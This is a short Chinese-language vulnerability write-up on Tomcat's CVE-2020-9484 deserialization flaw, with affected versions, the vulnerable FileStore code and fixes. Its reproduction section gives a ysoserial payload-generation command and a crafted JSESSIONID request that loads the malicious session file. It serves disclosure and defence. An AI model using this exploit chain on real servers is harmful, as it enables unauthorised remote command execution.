Tomcat反序列化漏洞
CVE-2020-9484
漏洞简介
当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行.
影响版本
<= 9.0.34
<= 8.5.54
<= 7.0.103
漏洞分析
配置的className=“org.apache.catalina.session.FileStore”
查看FileStore的load方法,代码如下
public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
Context context = (Context) getManager().getContainer();
FileInputStream fis = null;
ObjectInputStream ois = null;
Loader loader = null;
ClassLoader classLoader = null;
ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
try {
fis = new FileInputStream(file.getAbsolutePath());
loader = context.getLoader();
ois = getObjectInputStream(fis);
StandardSession session = (StandardSession) manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
}
}
load方法中
根据打开名为id的文件,将文件中的内容作为反序列化的输入.
但是tomcat未过滤诸如…/等危险目录.
如果配合任意文件上传,调用JSESSION让tomcat加载该上传文件,即可完成反序列化攻击.
在新版tomcat中,通过验证JSESSION的路径,解决该反序列化漏洞.
复现
-
使用ysoserial生成一个反序列化文件
java -jar ysoserial.jar CommonsCollections2 “calc” > /tmp/22222.session -
通过JSESSION加载恶意的session持久化文件
GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=evilFIle
修复方案
检查是否使用tomcat的session持久化功能,如果有,建议关闭
升级tomcat至最新版本